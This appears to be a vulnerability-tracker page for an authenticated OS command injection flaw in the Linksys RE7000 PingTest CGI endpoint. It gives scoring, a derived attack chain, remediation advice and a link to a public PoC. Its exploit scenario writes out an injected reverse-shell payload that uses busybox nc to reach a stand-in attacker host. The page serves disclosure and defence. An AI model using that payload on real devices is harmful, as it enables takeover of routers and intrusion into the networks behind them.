Skip to main content

Linksys RE7000 CVE-2026-86299

| EUVDEUVD-2026-72349 HIGH
OS Command Injection (CWE-78)
2026-09-07 VulDB GHSA-8gm9-6v5q-x2cp
8.6
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain RE7000 low-privilege credentials (default or guessed)
  2. Delivery
    Send crafted POST to /cgi-bin/json.cgi?PingTest
  3. Exploit
    Inject shell metacharacters in pingTestIp/pingTestPktSize/pingTestTimes
  4. Execution
    Firmware executes injected OS commands
  5. Persist
    Attain persistent shell on device
  6. Impact
    Intercept or manipulate LAN traffic

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) network reachability to the RE7000 management interface - by default on the LAN segment (port 80/443); if remote management is enabled, potentially reachable from the WAN; (2) valid credentials with at minimum low-privilege access to the device web UI (PR:L per CVSS 4.0 vector - exploitation is NOT unauthenticated). Limiting factors: the credential barrier is the sole meaningful protection; consumer devices are frequently deployed with unchanged default credentials (commonly 'admin'/'admin' or printed on the device label), which substantially reduces this barrier in practice. Exploitation via the WAN interface is limited to devices where remote management has been explicitly enabled - not the default. All three injectable parameters (pingTestIp, pingTestPktSize, pingTestTimes) are independently exploitable, giving the attacker multiple injection points within the same handler.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N, VC:H/VI:H/VA:H, SC:H/SI:H/SA:H, E:P) reflects a network-accessible, low-complexity injection with public exploit code and full impact including scope change to subsequent systems such as LAN hosts. The PR:L requirement - low-privilege authentication - is the primary barrier to exploitation; however, consumer range extenders are notoriously operated with default or weak credentials, making this barrier low in practice. No CISA KEV listing is present at time of analysis, but the GitHub PoC (limou89/somevul) removes skill barriers significantly. The scope-change metrics (SC:H/SI:H/SA:H) indicate that device compromise could enable traffic interception, DNS manipulation, or lateral movement into the LAN. EPSS data is absent from the provided intelligence - this is a gap; the combination of public PoC, network vector, low complexity, and a widely deployed consumer device class warrants treating this as elevated real-world priority despite the lack of KEV confirmation.

Exploit ScenarioDerived

An attacker with valid credentials to the RE7000 web management interface - commonly default credentials that have not been changed - sends a crafted HTTP POST request to /cgi-bin/json.cgi?PingTest with a pingTestIp value such as '127.0.0.1;$(busybox nc attacker.com 4444 -e /bin/sh)'. The firmware's platform_event_pingTest function interpolates the parameter directly into a shell command, spawning a reverse shell. A public proof-of-concept demonstrating this injection is available at https://github.com/limou89/somevul/blob/main/Linksys_RE7000_v2_PingTest_Command_Injection.md.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 PoC candidate (unverified) No patch listed yet 2.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Sep 07, 2026

OS command injection in Linksys RE7000 firmware 2.0.15 allows authenticated low-privilege attackers to execute arbitrary commands on the device by manipulating the pingTestIp, pingTestPktSize, or pingTestTimes parameters of the PingTest CGI handler. The /cgi-bin/json.cgi?PingTest endpoint passes these parameters unsanitized to underlying shell commands, resulting in full device compromise and potential impact to adjacent network infrastructure. A public proof-of-concept exploit is available on GitHub, substantially lowering the exploitation barrier.

Earlier versions of this analysis (1)
v1 Sep 07, 2026 - 11:45 CVSS 9.4

OS command injection in the Linksys RE7000 WiFi range extender (firmware 2.0.15) lets remote attackers execute arbitrary shell commands via the platform_event_pingTest function reached through /cgi-bin/json.cgi?PingTest. The pingTestIp, pingTestPktSize, and pingTestTimes parameters are passed unsanitized into a system command, enabling full device takeover. Publicly available exploit code exists, though no active exploitation has been confirmed in CISA KEV.

RemediationAI

No vendor-released patch is identified at time of analysis - the Linksys vendor page is referenced but no specific advisory or confirmed fix firmware version appears in the available intelligence. As immediate compensating controls: disable remote (WAN-side) management on the RE7000 if it is not required, since default Linksys configurations typically restrict management to LAN-side access; enforce LAN-side access controls by placing the extender's management interface behind a VLAN or firewall rule that limits management access to trusted administrator hosts only. Change any default or weak credentials on the device immediately, as the PR:L requirement means the attack is credential-gated - eliminating guessable credentials meaningfully raises the bar. Monitor the Linksys security page at https://www.linksys.com/ and the VulDB tracking entry at https://vuldb.com/cve/CVE-2026-86299 for firmware updates addressing this CVE.

Affected VersionsENISA

RE7000 2.0.15

Affected Packages

euvd re7000 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the platform_event_pingTest function implemented within the /cgi-bin/json.cgi CGI endpoint on Linksys RE7000 range extender firmware version 2.0.15. The PingTest handler exposes three parameters - pingTestIp, pingTestPktSize, and pingTestTimes - intended for network diagnostic ping operations. These are concatenated directly into OS-level shell commands without sanitization, constituting CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The affected CPE is cpe:2.3:a:linksys:re7000:*:*:*:*:*:*:*:* with a wildcard version field indicating broader firmware versions may be affected beyond 2.0.15. This pattern of unsanitized CGI parameter injection into shell commands is characteristic of embedded Linux firmware in consumer SOHO networking devices, where ping/diagnostic functions are frequent injection points.

Know when Re7000 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 8.6 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
vuln.today AI 9.9 CRITICAL

Network-reachable CGI endpoint confirmed by CVSS 4.0 PR:L; scope change to adjacent LAN systems justified by SC:H/SI:H/SA:H in provided vector.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

4
Analysis Updated
Sep 07, 2026 - 12:29 vuln.today
v2 - CVSS changed
Severity Changed
Sep 07, 2026 - 12:22 NVD
CRITICAL HIGH
CVSS changed
Sep 07, 2026 - 12:22 NVD
9.4 (CRITICAL) 8.6 (HIGH)
CVE Published
Sep 07, 2026 - 11:15 cve.org
CRITICAL 9.4

DescriptionCVE.org

A vulnerability was detected in Linksys RE7000 2.0.15. This affects the function platform_event_pingTest of the file /cgi-bin/json.cgi?PingTest of the component PingTest Handler. The manipulation of the argument pingTestIp/pingTestPktSize/pingTestTimes results in os command injection. The attack can be launched remotely. The exploit is now public and may be used.

Technical POC Analysis

CWE-78: OS command injection in the PingTest CGI path of Linksys RE7000 v2 firmware v2.0.15.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

Linksys RE7000 WiFi range extenders running firmware 2.0.15 are vulnerable to command injection attacks by authenticated low-privilege users, with publicly available exploit code lowering the exploitation barrier. Device compromise enables attackers to pivot into internal network infrastructure, posing a significant lateral movement risk. Organizations should immediately inventory affected devices and isolate them pending vendor remediation.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict network access to affected range extenders via firewall rules limiting CGI endpoint access; disable the management web interface if functionality permits; enforce strong authentication (multi-factor if available) on all management accounts; monitor the /cgi-bin/json.cgi endpoint for suspicious parameter manipulation involving pingTestIp, pingTestPktSize, or pingTestTimes; consider physically isolating affected devices or replacing with updated hardware until vendor releases patched firmware.

Threat Intelligence Overview

EPSS Score
2.0%
Top 21% exploitable
Prevalence
Medium
popular consumer/SOHO Wi-Fi range extender, wide home and SMB deployment
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 2.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +43
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy